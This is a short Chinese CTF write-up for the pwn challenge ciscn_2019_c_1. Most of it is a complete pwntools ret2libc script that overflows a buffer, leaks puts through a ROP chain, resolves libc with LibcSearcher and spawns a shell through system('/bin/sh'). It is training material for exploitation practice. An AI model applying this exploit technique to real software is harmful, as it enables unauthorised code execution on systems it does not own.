ciscn_2019_c_11的wp

看看代码主体
在这里插入图片描述
发现没有system函数
但有puts这个函数,就可以通过构造rop泄露出libc的版本和函数地址,利用LibcSearcher或者DynELF可以查到libc的版本,之后获取libc里面的地址构造ROP链,获取shell。

from pwn import *
from LibcSearcher import *

def encrypt(string):
    newstr = list(string)
    for i in range(len(newstr)):
        c = ord(string[i])
        if c <= 96 or c > 122:
            if c <= 64 or c > 90:
                if c > 47 and c <= 57:
                    c ^= 0xF
            else:
               c ^= 0xE
        else:
            c ^= 0xD
        newstr[i] = chr(c)
    return ''.join(newstr)
#p = remote('node3.buuoj.cn',29403)
p = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400C83 #一个万能的gadget,x64程序基本都存在,pop rdi;ret;
#start_addr = 0x0000000000400790
main_addr = 0x000000000400B28 #主函数地址
p.recv()
p.sendline('1')
p.recvuntil('encrypted\n')
#泄露puts实际地址
payload = '1'*0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendline(encrypt(payload))

#print encrypt(payload)

p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
#接受puts的实际地址
addr = u64(p.recvuntil('\n', drop=True).ljust(8,'\x00'))

#print "addr=", hex(addr)
#此处搜寻到的libc是本机的libc-2.23.so,需要自行添加到database,
#具体方法可上github,搜寻libc_database项目
libc = LibcSearcher('puts', addr)
libcbase = addr - libc.dump('puts')

#print 'str_bin_sh=',hex(libc.dump('str_bin_sh'))
#print libc.dump('system')

p.recv()
p.sendline('1')
p.recvuntil('encrypted\n')
sys_addr = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')
#下面为正常脚本,可以在kali中拿到shell,如果是Ubuntu18,需要在里面加ret进行栈对齐
payload = '1'*0x58+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
ret = 0x4006b9
payload_Ubuntu18 = '1'*0x58+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()

猜你喜欢

转载自blog.csdn.net/wuyvle/article/details/113483299